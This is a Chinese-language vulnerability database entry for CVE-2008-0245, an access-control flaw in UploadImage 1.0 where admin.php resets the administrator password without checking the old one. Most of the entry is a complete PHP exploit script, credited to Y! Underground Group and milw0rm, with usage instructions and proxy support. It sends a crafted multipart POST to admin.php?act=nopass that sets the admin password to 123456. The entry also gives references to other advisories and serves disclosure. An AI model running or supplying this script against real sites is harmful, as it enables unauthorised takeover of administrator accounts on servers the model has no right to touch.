UploadImage 'admin.php' 权限许可和访问控制漏洞

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漏洞ID 1114270 漏洞类型 权限许可和访问控制
发布时间 2008-01-09 更新时间 2008-09-05
CVE编号 CVE-2008-0245 CNNVD-ID CNNVD-200801-161
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/4871
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200801-161
|漏洞详情
UploadImage1.0中的admin.php在设置新密码时不检查原始密码,这使得远程攻击者可以通过不需要通行证的操作中的pass参数来取得管理员特权。
|漏洞EXP
<?php

/*
        \\\|///
      \\  - -  //         Y! Underground Group
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[!] Portal   :   UploadImage v1.0 & UploadScript v1.0
[!] Download :   http://www.uploadscript.net
[!] Type     :   Remote Change Admin Password Exploit
{!} Home     :   http://nobody.ir

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

*/

if ($argc<5) {
print_r('
*********************************************************************

Usage: php '.$argv[0].' Host Path Options
host:       Target server (ip/hostname)
path:       Path To Folder

Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy

Example:
php '.$argv[0].' 127.0.0.1 /Path/ -P1.1.1.1:80

*********************************************************************
');

die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];

$port=80;
$proxy="";
for ($i=7; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"

Set Password
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="pass"

123456
-----------------------------7d6224c08dc
';

$packet ="POST ".$path."admin.php?act=nopass HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
echo "New Password Is 123456";
?>

# milw0rm.com [2008-01-09]
|参考资料

来源:XF
名称:uploadimage-admin-command-execution(39571)
链接:http://xforce.iss.net/xforce/xfdb/39571
来源:BID
名称:27203
链接:http://www.securityfocus.com/bid/27203
来源:MILW0RM
名称:4871
链接:http://www.milw0rm.com/exploits/4871